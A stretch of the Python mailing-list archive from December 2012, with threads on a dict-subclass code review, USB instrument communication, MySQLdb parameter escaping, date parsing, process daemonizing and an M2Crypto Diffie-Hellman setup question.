if '.' not in key: return dict.__getitem__(self, key) l = key.split('.') if isinstance(l[0], (dict, Thesaurus)): a = self.data else: a = self """ It's not clear to me what the isinstance call here is meant to be testing for. The prior statements require key to be a string. If key is a string, then by construction l[0] is also a string. So it seems to me that the isinstance check here will always be False. In any case, the key splitting here seems to be done primarily to support the use of formatting placeholders like "%(L.l.1)s" in the examples. I want to point out that this use case is already well supported (I might even say "better" supported since it cleanly distinguishes index elements from attributes with syntax) by the str.format style of string formatting: >>> L = {'l': ['zero', 'one']} >>> "There should be {L[l][1]}-- and preferably only {L[l][1]} --obvious way to do it.".format(L=L) 'There should be one-- and preferably only one --obvious way to do it.' Lastly, you have several bare "except" clauses in the code. Bare excepts are almost always incorrect. I appreciate that it's not easy to predict exactly what exceptions might turn up here (although I posit that for all of these, subsets of (TypeError, KeyError, AttributeError, IndexError) are sufficient), but at the very minimum you should specify "except Exception", so that you're not inadvertently catching things like SystemExit and KeyboardInterrupt. Cheers and hope this is helpful, Ian From jeandubois314 at gmail.com Tue Dec 11 01:58:10 2012 From: jeandubois314 at gmail.com (Jean Dubois) Date: Mon, 10 Dec 2012 22:58:10 -0800 (PST) Subject: problem with usbtmc-communication References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <0910382a-08df-4325-806f-a4c3cdf6bd7b@f17g2000vbz.googlegroups.com> <123edfab-b46a-4a47-8b73-3f47e807e074@c16g2000yqi.googlegroups.com> <01cdbc70-7e46-4225-9baa-b555619d1aa8@10g2000yqo.googlegroups.com> <99b04e06-734c-4702-bf74-855e28d8f633@x20g2000vbf.googlegroups.com> Message-ID: <50b9eb4f-f319-491d-894c-2a9386b6941a@x20g2000vbf.googlegroups.com> On 10 dec, 16:34, w... at mac.com wrote: > On Dec 10, 2012, at 8:31 AM, Jean Dubois wrote: > > [byte] > > > > > > > > > > > As you can see this approach suffers from the same "buffer problem" as > > the approach with readline did. One now good argue as a workaround: > > get rid of the first data pair and add an extra measure command for > > the missing data pair, however this still does not explain why this > > problem is there in Python and not in Octave and I also fear I'll get > > more trouble when sending combined commands e.g. such as that to > > create a staircase current > > So my question is, how to modify the Python-code such that the first > > data pair is indeed the first data pair > > > thanks, > > jean > > > Here follows the new code: > > #!/usr/bin/python > > import time > > import os > > import sys > > measurementcurr='' > > measurementvolt='' > > timesleepdefault=5 > > print "Enter a numofchar (11 = > numofchar = int(raw_input()) > > filename ='mydata.txt' > > usbkeith = open('/dev/usbtmc1','r+') > > usbkeith.flush() > > usbkeith.write("*IDN?\n") > > It seems like a real leap of faith to be opening /dev/usbtmc1 as though it were a file-oriented device. ?I've never heard of ANY instrument interface implemented this way. > Where did you see example code that did that. I found examples in the usbtmc kernel driver documentation (the examples there are given in C): http://www.home.agilent.com/upload/cmc_upload/All/usbtmc.htm?&cc=BE&lc=dut > ?Have you tried to access /dev/usbtmc1 as though it were a serial device? Yes, I did, as I used to do when communicating with rs232 devices. I first tried to communicate to with the Keithley using cutecom but I soon discovered you can't work that way because as soon as you open the device it closes immediately thereafter. You really have to use usbtmc (unfortunately) I'm missing the correct "flushing commands" to do it correctly in Python...Maybe I should try to call the octave code from within Python? thanks jean > > > > > > > > > #strip blank line: > > identification=usbkeith.readline().strip() > > print 'Found device: ',identification > > usbkeith.write("SYST:REM" + "\n") > > usbkeith.write(":SENS:VOLT:PROT 1.5\n") > > keithdata = open(filename,'w') > > usbkeith.write(":OUTP:STAT ON\n") > > for number, current_in in enumerate(('0.025', '0.050', '0.075', > > '0.100'), 1): > > ? usbkeith.write(":SOUR:CURR %s\n" % current_in) > > ? time.sleep(timesleepdefault) > > ? usbkeith.write(":MEAS:CURR?\n") > > ? measurementcurr=usbkeith.read(numofchar) > > ? print 'Measured current %d: ' % number, measurementcurr > > ? usbkeith.write(":MEAS:VOLT?\n") > > ? measurementvolt=usbkeith.read(numofchar) > > ? print 'Measured voltage %d: ' % number, measurementvolt > > ? keithdata.write(measurementcurr.strip()+' '+measurementvolt) > > usbkeith.write(":OUTP:STAT OFF\n") > > print "Goodbye, data logged in file:" > > print filename > > usbkeith.close() > > keithdata.close() > > -- > >http://mail.python.org/mailman/listinfo/python-list From tolidtm at gmail.com Tue Dec 11 02:41:27 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Tue, 11 Dec 2012 08:41:27 +0100 Subject: MySQLdb insert HTML code error In-Reply-To: References: Message-ID: <4253451301519371596@unknownmsgid> > > First thing -- DON'T put quotes around the %s place-holders... The > whole purpose of using the parameterized .execute() is to let the > database adapter properly escape the parameters before putting them into > the SQL (since MySQL didn't have prepared statements before v5, it was > producing full SQL statements for each insert, even with .executemany() > ) Thank you, this solved my problem.:) From rosuav at gmail.com Tue Dec 11 03:08:18 2012 From: rosuav at gmail.com (Chris Angelico) Date: Tue, 11 Dec 2012 19:08:18 +1100 Subject: strptime - dates formatted differently on different computers In-Reply-To: <50C6C5E7.1030300@gmail.com> References: <50C6C5E7.1030300@gmail.com> Message-ID: On Tue, Dec 11, 2012 at 4:34 PM, Michael Torrie wrote: > I use a module I got from pypi called dateutil. It has a nice submodule > called parser that can handle a variety of date formats with good > accuracy. Not sure how it works, but it handles all the common American > date formats I've thrown at it. That sort of statement will get you either amusement or ire, depending on the respondent. From me, amusement, because there are enough "common American date formats" for you to feel you've done a thorough test. There are a LOT more date formats than those used in the USA. The most obvious trio is American MDY, European DMY, Japanese YMD, but there are plenty more to deal with. Have fun. ChrisA From steve+comp.lang.python at pearwood.info Tue Dec 11 03:12:19 2012 From: steve+comp.lang.python at pearwood.info (Steven D'Aprano) Date: 11 Dec 2012 08:12:19 GMT Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes References: Message-ID: <50c6eae2$0$21722$c3e8da3$76491128@news.astraweb.com> On Mon, 10 Dec 2012 22:48:50 -0500, Dave Cinege wrote: > Thesaurus: A different way to call a dictionary. Is this intended as a ready-for-production class? > Thesaurus is a new a dictionary subclass which allows calling keys as if > they are class attributes and will search through nested objects > recursively when __getitem__ is called. If only that were true... py> d = Thesaurus() py> d['spam'] = {} py> d['spam']['ham'] = 'cheese' # key access works py> d.spam.ham # but attribute access doesn't Traceback (most recent call last): File "", line 1, in AttributeError: 'dict' object has no attribute 'ham' > You will notice that the code is disgusting simple. However I have found > that this has completely changed the way I program in python. By making it less robust and more prone to errors? py> d = Thesaurus() py> d.copy = "some value" py> assert d.copy == "some value" Traceback (most recent call last): File "", line 1, in AssertionError Operations which silently fail or do the wrong thing are not a good thing. Scarily, this isn't even consistent: py> "%(copy)s" % d 'some access' py> d.copy Some further comments about your code: > class Thesaurus (dict): > [...] > def __getitem__(self, key): > if '.' not in key: > return dict.__getitem__(self, key) > l = key.split('.') > if isinstance(l[0], (dict, Thesaurus)): > a = self.data Testing for isinstance (dict, Thesaurus) is redundant, since Thesaurus is a subclass of dict. More importantly, there are no circumstances where l[0] will be a dict. Since l is created by splitting a string, l[0] must be a string and this clause is dead code. Which is good, because self.data is not defined anywhere, so if you ever did reach this branch, your code would fail. > else: > a = self > for i in range(len(l)): # Walk keys recursivly This is usually better written as: for subkey in l: # look up subkey # or if all else fails raise KeyError(subkey) KeyError('spam.ham.cheese [1]') is misleading, since it implies to me that looking up spam.ham.cheese succeeded, and the failed lookup was on 1. I would expect either of these: KeyError('spam.ham') KeyErroor('ham') with a slight preference for the first. Further issues with your code: > try: > a = a[l[i]] # Attempt key > except: Bare excepts like this are not good. At best they are lazy and sloppy, good only for throw-away code. At worst, they are hide bugs. In this case, they can hide bugs: py> class X(object): ... @property ... def test(self): ... return 1/0 # oops a bug ... py> d = Thesaurus(a=X()) py> d.a.test # Gives the correct exception for the error. Traceback (most recent call last): File "", line 1, in File "", line 4, in test ZeroDivisionError: float division py> py> "%(a.test)s" % d # Lies about the problem. Traceback (most recent call last): File "", line 1, in File "", line 29, in __getitem__ KeyError: 'a.test [1]' One more comment: > # I like to create a master global object called 'g'. > # No more 'global' statements for me. > g = thes() This is not a good thing. Encouraging the use of globals is a bad thing. -- Steven From torriem at gmail.com Tue Dec 11 03:23:21 2012 From: torriem at gmail.com (Michael Torrie) Date: Tue, 11 Dec 2012 01:23:21 -0700 Subject: strptime - dates formatted differently on different computers In-Reply-To: References: <50C6C5E7.1030300@gmail.com> Message-ID: <50C6ED79.4080907@gmail.com> On 12/11/2012 01:08 AM, Chris Angelico wrote: > There are a LOT more date formats than those used in the USA. The most > obvious trio is American MDY, European DMY, Japanese YMD, but there > are plenty more to deal with. Have fun. For the record I didn't write the module, so I don't care whether or not I have fun or not. The module is simply there, and I've found it quite useful for parsing free-form dates as arguments passed to my program. While what you say is correct--and the parser can be given hints about what order to expect numeric dates--if you read the OP's question, he really is mainly looking for a flexible date parser that can handle / instead of - as a separator. And going by his example, the order is the same, so if he can parse one he can parse the other. This is exactly the kind of thing the dateutil.parser module works for. That's why I suggested it. Sure he needs to always be aware of the order, but I have to assume that since his strptime had a specific order, he has a reason for assuming that order. If he wasn't he is now, of course. From torriem at gmail.com Tue Dec 11 03:25:43 2012 From: torriem at gmail.com (Michael Torrie) Date: Tue, 11 Dec 2012 01:25:43 -0700 Subject: strptime - dates formatted differently on different computers In-Reply-To: References: <50C6C5E7.1030300@gmail.com> Message-ID: <50C6EE07.1020806@gmail.com> On 12/11/2012 01:08 AM, Chris Angelico wrote: > That sort of statement will get you either amusement or ire, depending > on the respondent. From me, amusement, because there are enough > "common American date formats" for you to feel you've done a thorough > test. Also what I meant was common "english language" formats. Such as: 1 Apr 2013 April 1, 2013 Apr 1 Apr 2013 1st of April, 2013 April of 2013 5pm on August 3 http://labix.org/python-dateutil#head-a23e8ae0a661d77b89dfb3476f85b26f0b30349c From rosuav at gmail.com Tue Dec 11 03:32:14 2012 From: rosuav at gmail.com (Chris Angelico) Date: Tue, 11 Dec 2012 19:32:14 +1100 Subject: strptime - dates formatted differently on different computers In-Reply-To: <50C6EE07.1020806@gmail.com> References: <50C6C5E7.1030300@gmail.com> <50C6EE07.1020806@gmail.com> Message-ID: n Tue, Dec 11, 2012 at 7:25 PM, Michael Torrie wrote: > On 12/11/2012 01:08 AM, Chris Angelico wrote: >> That sort of statement will get you either amusement or ire, depending >> on the respondent. From me, amusement, because there are enough >> "common American date formats" for you to feel you've done a thorough >> test. > > Also what I meant was common "english language" formats. Such as: > > 1 Apr 2013 > April 1, 2013 > Apr 1 > Apr 2013 > 1st of April, 2013 > April of 2013 > 5pm on August 3 Ah! Okay. So, more general than just "different delimiters and such that you'd find in the USA". Still, it did come across as rather amusing, worded the way you had it. ChrisA From gdonald at gmail.com Tue Dec 11 03:35:29 2012 From: gdonald at gmail.com (Greg Donald) Date: Tue, 11 Dec 2012 02:35:29 -0600 Subject: strptime - dates formatted differently on different computers In-Reply-To: <50C6C5E7.1030300@gmail.com> References: <50C6C5E7.1030300@gmail.com> Message-ID: <20121211083529.GA6698@gmail.com> On Mon, Dec 10, 2012 at 10:34:31PM -0700, Michael Torrie wrote: > I use a module I got from pypi called dateutil. It has a nice submodule > called parser that can handle a variety of date formats with good > accuracy. Not sure how it works, but it handles all the common American > date formats I've thrown at it. from dateutil.parser import parse dt = parse( whatever ) I've throw all kind of date and timestamps at it.. have yet to see anything it won't parse. -- Greg Donald From paul at subsignal.org Tue Dec 11 03:42:35 2012 From: paul at subsignal.org (=?UTF-8?B?UGF1bCBLw7ZsbGU=?=) Date: Tue, 11 Dec 2012 09:42:35 +0100 Subject: accessing an OLE Automation (IDispatch) server from python which requires the use of "out params" In-Reply-To: <38a14001-82b6-4a91-b3ad-2cb5c8ee580d@googlegroups.com> References: <38a14001-82b6-4a91-b3ad-2cb5c8ee580d@googlegroups.com> Message-ID: Hi, Am 10.12.2012 20:13, schrieb bitbucket: > I have an existing Windows application which provides an OLE > Automation (IDispatch) interface. I'm not able to change that > interface. I'd like to call it from a scripting language. I figure > this would provide a nice quick way to invoke on the app. > > I initially tried this with Windows Powershell but ran into the > following problem. I was able to create the object and invoke simple > methods on it. However the interface for this app has methods which > take out params. i.e. you pass in a reference to a variable and the > server fills in the value. I couldn't get that to work. I finally > gave up and decided it was just a limitation of Powershell, not being > able to work with those out params. [snipp] Before switching technologies I'd check if this solves your problem http://geekswithblogs.net/Lance/archive/2009/01/14/pass-by-reference-parameters-in-powershell.aspx TL;DR IMHO "out" parameters are basically pointers (pass by reference) and need to be passed like GetSettingValue("name", [ref]$value)... cheers Paul From rosuav at gmail.com Tue Dec 11 04:59:55 2012 From: rosuav at gmail.com (Chris Angelico) Date: Tue, 11 Dec 2012 20:59:55 +1100 Subject: MySQLdb insert HTML code error In-Reply-To: References: Message-ID: On Tue, Dec 11, 2012 at 11:46 AM, Anatoli Hristov wrote: >> Brilliant, I think your problem is in line 97 of the code that you *HAVEN'T >> QUOTED*. Please go here, read and inwardly digest before you say anything >> else http://www.sscce.org/ > > :) I thought it was clear. the "spec" is the description and when the > str"spec" contains the html code I'm getting an error, if you don't > want to help then just don't become an.......... SSCCE starts with "Short". The HTML you unloaded into that email hardly qualifies. When you're trying to figure out a problem that appears to happen only when you have X and not when you have Y, see what the smallest example data for X and Y are that continue to exhibit the difference. It's way easier, especially on those of us who might have been interested in helping, had it been possible to paste your failing code into IDLE. Plus, in cutting it down you might discover what the real cause of the problem is. Of course, sometimes you fail to cut something down as expected. In this example, HTML didn't turn out to be the problem, so cutting it down to "" wouldn't have worked. But do at least _try_, and then mention what worked and didn't work in your question. ChrisA From jeanmichel at sequans.com Tue Dec 11 05:09:30 2012 From: jeanmichel at sequans.com (Jean-Michel Pichavant) Date: Tue, 11 Dec 2012 11:09:30 +0100 (CET) Subject: ANNOUNCE: Thesaurus - a recursive dictionary subclass using attributes In-Reply-To: <201212102248.50766.dave@cinege.com> Message-ID: <1287102991.862575.1355220570727.JavaMail.root@sequans.com> ----- Original Message ----- > Thesaurus: A different way to call a dictionary. > > Thesaurus is a new a dictionary subclass which allows calling keys as > if they are class attributes and will search through nested objects > recursively when __getitem__ is called. > > You will notice that the code is disgusting simple. However I have > found that > this has completely changed the way I program in python. I've > re-written some > exiting programs using Thesaurus, and often realized 15-30% code > reduction. > Additionally I find the new code much easier to read. > > If you find yourself programing with nested dictionaries often, > fighting to > generate output or command lines for external programs, or wish you > had > a dictionary that could act (sort of) like a class, Thesaurus may be > for you. > > -- > http://mail.python.org/mailman/listinfo/python-list > did you know you can write class TestClass: no = 'Class' way = 'this' tc = TestClass() print "Something you find clean, and I'm not sure why, this is way %(way)s and this is no %(no)s" % vars(tc). JM -- IMPORTANT NOTICE: The contents of this email and any attachments are confidential and may also be privileged. If you are not the intended recipient, please notify the sender immediately and do not disclose the contents to any other person, use it for any purpose, or store or copy the information in any medium. Thank you. From jabba.laci at gmail.com Tue Dec 11 05:58:44 2012 From: jabba.laci at gmail.com (Jabba Laci) Date: Tue, 11 Dec 2012 11:58:44 +0100 Subject: open URL in the current tab In-Reply-To: References: Message-ID: Dear All, If someone is interested, I've made a module out of it. Available here: https://github.com/jabbalaci/jabbapylib/blob/master/jabbapylib/browser/firefox.py It seems you can program your Firefox instance from your script as you want through this add-on. I will explore the possibilities in the future. Best, Laszlo On Tue, Dec 11, 2012 at 1:16 AM, Chris Angelico wrote: > On Tue, Dec 11, 2012 at 11:05 AM, Jabba Laci wrote: >> Hi, >> >>> If this is for use on somebody else's system, *please don't*. My >> >> This is for me. I have a simple GUI that produces some URL that I want >> to open in the current tab. Since I want to verify several URLs, I >> don't want to open dozens of new tabs. >> >> Here is my working solution. It requires the MozRepl Firefox add-on >> that I mentioned in the previous message. > > Looks good! Since it's your own single system, the add-on requirement > isn't too onerous (but even if it's an all-mine system, I'd hesitate > to deploy an add-on to more than a handful of computers). > > Specific problem, specific solution. I like it. > > ChrisA > -- > http://mail.python.org/mailman/listinfo/python-list From tolidtm at gmail.com Tue Dec 11 06:19:47 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Tue, 11 Dec 2012 12:19:47 +0100 Subject: MySQLdb insert HTML code error In-Reply-To: References: Message-ID: > SSCCE starts with "Short". The HTML you unloaded into that email > hardly qualifies. > > When you're trying to figure out a problem that appears to happen only > when you have X and not when you have Y, see what the smallest example > data for X and Y are that continue to exhibit the difference. It's way > easier, especially on those of us who might have been interested in > helping, had it been possible to paste your failing code into IDLE. > Plus, in cutting it down you might discover what the real cause of the > problem is. > > Of course, sometimes you fail to cut something down as expected. In > this example, HTML didn't turn out to be the problem, so cutting it > down to "" wouldn't have worked. But do at least _try_, > and then mention what worked and didn't work in your question. This is the reason I posted in the beginning only the part with the problem function. - after I posted the all string (the HTML) as there was some miss understandings: - I will try to follow the (sscce) next time, excuse me as I'm a beginner in coding at all. Regards From andrea.crotti.0 at gmail.com Tue Dec 11 06:47:03 2012 From: andrea.crotti.0 at gmail.com (andrea crotti) Date: Tue, 11 Dec 2012 11:47:03 +0000 Subject: forking and avoiding zombies! In-Reply-To: <50C6153F.8050205@gmail.com> References: <50C6153F.8050205@gmail.com> Message-ID: Yes I wanted to avoid to do something too complex, anyway I'll just comment it well and add a link to the original code.. But this is now failing to me: def daemonize(stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'): # Perform first fork. try: pid = os.fork() if pid > 0: sys.exit(0) # Exit first parent. except OSError as e: sys.stderr.write("fork #1 failed: (%d) %s\n" % (e.errno, e.strerror)) sys.exit(1) # Decouple from parent environment. os.chdir("/") os.umask(0) os.setsid() # Perform second fork. try: pid = os.fork() if pid > 0: sys.exit(0) # Exit second parent. except OSError, e: sys.stderr.write("fork #2 failed: (%d) %s\n" % (e.errno, e.strerror)) sys.exit(1) # The process is now daemonized, redirect standard file descriptors. sys.stdout.flush() sys.stderr.flush() si = file(stdin, 'r') so = file(stdout, 'a+') se = file(stderr, 'a+', 0) os.dup2(si.fileno(), sys.stdin.fileno()) os.dup2(so.fileno(), sys.stdout.fileno()) os.dup2(se.fileno(), sys.stderr.fileno()) if __name__ == '__main__': daemonize(stdout='sample_file', stderr='sample') print("hello world, now should be the child!") [andrea at andreacrotti experiments]$ python2 daemon.py Traceback (most recent call last): File "daemon.py", line 49, in daemonize(stdout='sample_file', stderr='sample') File "daemon.py", line 41, in daemonize so = file(stdout, 'a+') IOError: [Errno 13] Permission denied: 'sample_file' The parent process can write to that file easily, but the child can't, why is it working for you and not for me though? (Running this on Linux with a non-root user) From makeit.tsxtsx at gmail.com Tue Dec 11 07:12:52 2012 From: makeit.tsxtsx at gmail.com (makeit.tsxtsx at gmail.com) Date: Tue, 11 Dec 2012 04:12:52 -0800 (PST) Subject: m2crypto load from memory to ctx.set_tmp_dh() Message-ID: <55cf961f-4e27-43ea-a2c5-dd20da43c4f9@googlegroups.com> o far I have not been able to load the diffie-hellman params on to ctx.set_tmp_dh(), the BIO class should help do that, but "my way" dont works, maybe I need to specify the smime ? here's what I tried: 1) dh_params=""" -----BEGIN DH PARAMETERS----- MIGHAoGBAJyoxPGR3wxcp8Nf5C3w0Jh9tFk/4eRMuimJN8+d9myW/JMuZTHdRslE b+wBIpMoEC2g9GLnWCgX+Xzu01kDABFO5JAdypVbdscXKyE0423/rxWic8LKy+EG LGbc716lIxflajBn0uNy0xRDK7xcn9RECRamf7jPPGqMVYBtV+njAgEC -----END DH PARAMETERS----- """ ... dhbio = M2Crypto.BIO.MemoryBuffer(dh_params) ctx.set_tmp_dh(dhbio) ... with dhbio = M2Crypto.BIO.MemoryBuffer(str(dh_params)) gives the same result: Traceback (most recent call last): File "bconn.py", line 121, in main() File "bconn.py", line 88, in main ctx.set_tmp_dh(dhbio) File "/usr/local/lib/python2.6/dist-packages/M2Crypto/SSL/Context.py", line 190, in set_tmp_dh f = BIO.openfile(dhpfile) File "/usr/local/lib/python2.6/dist-packages/M2Crypto/BIO.py", line 186, in openfile return File(open(filename, mode)) TypeError: coercing to Unicode: need string or buffer, instance found thx you ! (: From pjmakey2 at gmail.com Tue Dec 11 07:33:47 2012 From: pjmakey2 at gmail.com (peter) Date: Tue, 11 Dec 2012 09:33:47 -0300 Subject: forking and avoiding zombies! In-Reply-To: References: <50C6153F.8050205@gmail.com> Message-ID: <50C7282B.8000708@gmail.com> On 12/11/2012 08:47 AM, andrea crotti wrote: > Yes I wanted to avoid to do something too complex, anyway I'll just > comment it well and add a link to the original code.. > > But this is now failing to me: > > def daemonize(stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'): > # Perform first fork. > try: > pid = os.fork() > if pid > 0: > sys.exit(0) # Exit first parent. > except OSError as e: > sys.stderr.write("fork #1 failed: (%d) %s\n" % (e.errno, e.strerror)) > sys.exit(1) > > # Decouple from parent environment. > os.chdir("/") > os.umask(0) > os.setsid() > > # Perform second fork. > try: > pid = os.fork() > if pid > 0: > sys.exit(0) # Exit second parent. > except OSError, e: > sys.stderr.write("fork #2 failed: (%d) %s\n" % (e.errno, e.strerror)) > sys.exit(1) > > # The process is now daemonized, redirect standard file descriptors. > sys.stdout.flush() > sys.stderr.flush() > > si = file(stdin, 'r') > so = file(stdout, 'a+') > se = file(stderr, 'a+', 0) > os.dup2(si.fileno(), sys.stdin.fileno()) > os.dup2(so.fileno(), sys.stdout.fileno()) > os.dup2(se.fileno(), sys.stderr.fileno()) > > > if __name__ == '__main__': > daemonize(stdout='sample_file', stderr='sample') > print("hello world, now should be the child!") > > > [andrea at andreacrotti experiments]$ python2 daemon.py > Traceback (most recent call last): > File "daemon.py", line 49, in > daemonize(stdout='sample_file', stderr='sample') > File "daemon.py", line 41, in daemonize > so = file(stdout, 'a+') > IOError: [Errno 13] Permission denied: 'sample_file' > > The parent process can write to that file easily, but the child can't, > why is it working for you and not for me though? > (Running this on Linux with a non-root user) In the time when you fork the proccess you can't use relative path, is dangerous. You need to use absolute path's like this. import os, sys def daemonize(stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'): # Perform first fork. try: pid = os.fork() if pid > 0: sys.exit(0) # Exit first parent. except OSError as e: sys.stderr.write("fork #1 failed: (%d) %s\n" % (e.errno, e.strerror)) sys.exit(1) # Decouple from parent environment. os.chdir("/") os.umask(0) os.setsid() # Perform second fork. try: pid = os.fork() if pid > 0: sys.exit(0) # Exit second parent. except OSError, e: sys.stderr.write("fork #2 failed: (%d) %s\n" % (e.errno, e.strerror)) sys.exit(1) # The process is now daemonized, redirect standard file descriptors. sys.stdout.flush() sys.stderr.flush() si = file(stdin, 'r') so = file(stdout, 'a+') se = file(stderr, 'a+', 0) os.dup2(si.fileno(), sys.stdin.fileno()) os.dup2(so.fileno(), sys.stdout.fileno()) os.dup2(se.fileno(), sys.stderr.fileno()) if __name__ == '__main__': daemonize(stdout='/tmp/sample_file.log', stderr='/tmp/sample.log') print("hello world, now should be the child!") From andrea.crotti.0 at gmail.com Tue Dec 11 08:25:36 2012 From: andrea.crotti.0 at gmail.com (andrea crotti) Date: Tue, 11 Dec 2012 13:25:36 +0000 Subject: forking and avoiding zombies! In-Reply-To: <50C7282B.8000708@gmail.com> References: <50C6153F.8050205@gmail.com> <50C7282B.8000708@gmail.com> Message-ID: Ah sure that makes sense! But actually why do I need to move away from the current directory of the parent process? In my case it's actually useful to be in the same directory, so maybe I can skip that part, or otherwise I need another chdir after.. From pjmakey2 at gmail.com Tue Dec 11 08:34:23 2012 From: pjmakey2 at gmail.com (peter) Date: Tue, 11 Dec 2012 10:34:23 -0300 Subject: forking and avoiding zombies! In-Reply-To: References: <50C6153F.8050205@gmail.com> <50C7282B.8000708@gmail.com> Message-ID: <50C7365F.20908@gmail.com> On 12/11/2012 10:25 AM, andrea crotti wrote: > Ah sure that makes sense! > > But actually why do I need to move away from the current directory of > the parent process? > In my case it's actually useful to be in the same directory, so maybe > I can skip that part, > or otherwise I need another chdir after.. You don't need to move away from the current directory. You cant use os to get the current work directory stderrfile = '%s/error.log' % os.getcwd() stdoutfile = '%s/out.log' % os.getcwd() then call the daemon function like this. daemonize(stdout=stdoutfile, stderr=stderrfile) From andrea.crotti.0 at gmail.com Tue Dec 11 08:57:03 2012 From: andrea.crotti.0 at gmail.com (andrea crotti) Date: Tue, 11 Dec 2012 13:57:03 +0000 Subject: forking and avoiding zombies! In-Reply-To: <50C7365F.20908@gmail.com> References: <50C6153F.8050205@gmail.com> <50C7282B.8000708@gmail.com> <50C7365F.20908@gmail.com> Message-ID: 2012/12/11 peter : > On 12/11/2012 10:25 AM, andrea crotti wrote: >> >> Ah sure that makes sense! >> >> But actually why do I need to move away from the current directory of >> the parent process? >> In my case it's actually useful to be in the same directory, so maybe >> I can skip that part, >> or otherwise I need another chdir after.. > > You don't need to move away from the current directory. You cant use os to > get the current work directory > > stderrfile = '%s/error.log' % os.getcwd() > stdoutfile = '%s/out.log' % os.getcwd() > > then call the daemon function like this. > > daemonize(stdout=stdoutfile, stderr=stderrfile) But the nice thing now is that all the forked processes log also on stdout/stderr, so if I launch the parent in the shell I get DEBUG -> csim_flow.worker[18447]: Moving the log file /user/sim/tests/batch_pdump_records/running/2012_12_11_13_4_10.log to /user/sim/tests/batch_pdump_records/processed/2012_12_11_13_4_10.log DEBUG -> csim_flow.area_manager[19410]: No new logs found in /user/sim/tests/batch_pdump_records where in [] I have the PID of the process. In this suggested way I should use some other files as standard output and error, but for that I already have the logging module that logs in the right place.. From jeanmichel at sequans.com Tue Dec 11 09:32:58 2012 From: jeanmichel at sequans.com (Jean-Michel Pichavant) Date: Tue, 11 Dec 2012 15:32:58 +0100 (CET) Subject: forking and avoiding zombies! In-Reply-To: Message-ID: <1859051376.1041601.1355236378205.JavaMail.root@sequans.com> ----- Original Message ----- > So I implemented a simple decorator to run a function in a forked > process, as below. > > It works well but the problem is that the childs end up as zombies on > one machine, while strangely > I can't reproduce the same on mine.. > > I know that this is not the perfect method to spawn a daemon, but I > also wanted to keep the code > as simple as possible since other people will maintain it.. > > What is the easiest solution to avoid the creation of zombies and > maintain this functionality? > thanks > > > def on_forked_process(func): > from os import fork > """Decorator that forks the process, runs the function and gives > back control to the main process > """ > def _on_forked_process(*args, **kwargs): > pid = fork() > if pid == 0: > func(*args, **kwargs) > _exit(0) > else: > return pid > > return _on_forked_process > -- > http://mail.python.org/mailman/listinfo/python-list > Ever though about using the 'multiprocessing' module? It's a slightly higher API and I don't have issues with zombie processes. You can combine this with a multiprocess log listener so that all logs are sent to the main process. See Vinay Sajip's code about multiprocessing and logging, http://plumberjack.blogspot.fr/2010/09/using-logging-with-multiprocessing.html I still had to write some cleanup code before leaving the main process, but once terminate is called on all remaining subprocesses, I'm not left with zombie processes. Here's the cleaning: for proc in multiprocessing.active_children(): proc.terminate() JM -- IMPORTANT NOTICE: The contents of this email and any attachments are confidential and may also be privileged. If you are not the intended recipient, please notify the sender immediately and do not disclose the contents to any other person, use it for any purpose, or store or copy the information in any medium. Thank you. From wrw at mac.com Tue Dec 11 09:34:26 2012 From: wrw at mac.com (wrw at mac.com) Date: Tue, 11 Dec 2012 09:34:26 -0500 Subject: problem with usbtmc-communication In-Reply-To: <50b9eb4f-f319-491d-894c-2a9386b6941a@x20g2000vbf.googlegroups.com> References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> <0910382a-08df-4325-806f-a4c3cdf6bd7b@f17g2000vbz.googlegroups.com> <123edfab-b46a-4a47-8b73-3f47e807e074@c16g2000yqi.googlegroups.com> <01cdbc70-7e46-4225-9baa-b555619d1aa8@10g2000yqo.googlegroups.com> <99b04e06-734c-4702-bf74-855e28d8f633@x20g2000vbf.googlegroups.com> <50b9eb4f-f319-491d-894c-2a9386b6941a@x20g2000vbf.googlegroups.com> Message-ID: <6AC06C05-798D-4515-BF13-91D631A86A67@mac.com> On Dec 11, 2012, at 1:58 AM, Jean Dubois wrote: > On 10 dec, 16:34, w... at mac.com wrote: >> On Dec 10, 2012, at 8:31 AM, Jean Dubois wrote: >> >> [byte] >>> As you can see this approach suffers from the same "buffer problem" as >>> the approach with readline did. One now good argue as a workaround: >>> get rid of the first data pair and add an extra measure command for >>> the missing data pair, however this still does not explain why this >>> problem is there in Python and not in Octave and I also fear I'll get >>> more trouble when sending combined commands e.g. such as that to >>> create a staircase current >>> So my question is, how to modify the Python-code such that the first >>> data pair is indeed the first data pair >> >>> thanks, >>> jean >> >>> Here follows the new code: >>> #!/usr/bin/python >>> import time >>> import os >>> import sys >>> measurementcurr='' >>> measurementvolt='' >>> timesleepdefault=5 >>> print "Enter a numofchar (11 =>> numofchar = int(raw_input()) >>> filename ='mydata.txt' >>> usbkeith = open('/dev/usbtmc1','r+') >>> usbkeith.flush() >>> usbkeith.write("*IDN?\n") >> >> It seems like a real leap of faith to be opening /dev/usbtmc1 as though it were a file-oriented device. I've never heard of ANY instrument interface implemented this way. >> Where did you see example code that did that. > I found examples in the usbtmc kernel driver documentation (the > examples there are given in C): > http://www.home.agilent.com/upload/cmc_upload/All/usbtmc.htm?&cc=BE&lc=dut > OK - I see where the examples came from, and I notice - int my_inst; my_inst=open(?/dev/usbtmc1?,O_RDWR); write(my_inst,?*RST\n?,5); close(my_inst); and similarly in another place - retval=write(myfile,"*IDN?\n",6); Note that both write commands contain a byte count of the number of characters to be written (\n counts as one character). Again, the read commands contain byte counts. I'm very suspicious that a write command with no byte count writes nothing, but does move a buffer pointer. -Bill From andrea.crotti.0 at gmail.com Tue Dec 11 09:39:17 2012 From: andrea.crotti.0 at gmail.com (andrea crotti) Date: Tue, 11 Dec 2012 14:39:17 +0000 Subject: forking and avoiding zombies! In-Reply-To: <1859051376.1041601.1355236378205.JavaMail.root@sequans.com> References: <1859051376.1041601.1355236378205.JavaMail.root@sequans.com> Message-ID: 2012/12/11 Jean-Michel Pichavant : > ----- Original Message ----- >> So I implemented a simple decorator to run a function in a forked >> process, as below. >> >> It works well but the problem is that the childs end up as zombies on >> one machine, 